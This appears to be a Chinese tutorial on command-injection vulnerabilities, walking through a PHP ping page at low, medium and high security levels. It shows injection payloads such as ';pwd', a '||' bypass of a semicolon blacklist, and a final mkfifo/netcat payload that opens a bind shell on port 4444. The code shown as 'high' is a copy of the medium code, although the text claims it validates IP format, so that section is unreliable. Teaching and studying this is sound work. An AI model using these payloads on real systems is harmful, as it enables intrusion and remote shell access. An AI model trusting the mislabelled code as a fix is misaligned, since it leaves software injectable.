手动漏洞挖掘(二)---命令执行漏洞

命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

漏洞分析

漏洞成因:脚本语言优点是简洁,方便,但也伴随着一些问题,如速度慢,无法解除系统底层,如果我们开发的应用需要一些除去web的特殊功能时,就需要调用一些外部程序。

在操作系统中,“;、 &、 &&、 |、 ||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

如“ ping 127.0.0.1 -c 1;ls /” 在执行完ping命令后还会执行ls,列出根目录的文件

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# ping 127.0.0.1 -c 1;ls /
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.031 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.031/0.031/0.031/0.000 ms
bin etc initrd.img.old media root sys usr
boot ftphome lib mnt run test var
burpsuite1.6pro home lib64 opt sbin tftp vmlinuz
dev initrd.img lost+found proc srv tmp vmlinuz.old

漏洞演示

如下是一个基于ping命令的网页程序
image

用”;”来闭合前面的命令
输入”;pwd”
image

也可以用“ & ”
image

源码分析

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php

if( isset( $_POST[ 'submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

因为windows与linux的命令有些不同,这里就进行if判断,但是在命令执行函数shell_exec()执行前没有做任何过滤检测,所以攻击者很轻松就可以利用此漏洞。

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if( isset( $_POST[ 'submit'] ) ) {
$target = $_REQUEST[ 'ip' ];
// Remove any of the charactars in the array (blacklist).
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

medium级别的代码对用户输入的值做了一定的处理,这里过滤了“;”,“&&”;
不过这还是很容易绕过,毕竟拼接命令的符号不止这两个,比如“||”。
image
这样就成功绕过了。

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
if( isset( $_POST[ 'submit'] ) ) {

$target = $_REQUEST[ 'ip' ];
// Remove any of the charactars in the array (blacklist).
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

high级别的代码,将用户输入的值分为四段,且每段必须为数字,即必须是IP地址的格式,避免了命令执行漏洞;

漏洞利用

简单的漏洞利用
打开本地的4444端口
“;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe”
image
用nc连接目标4444端口
image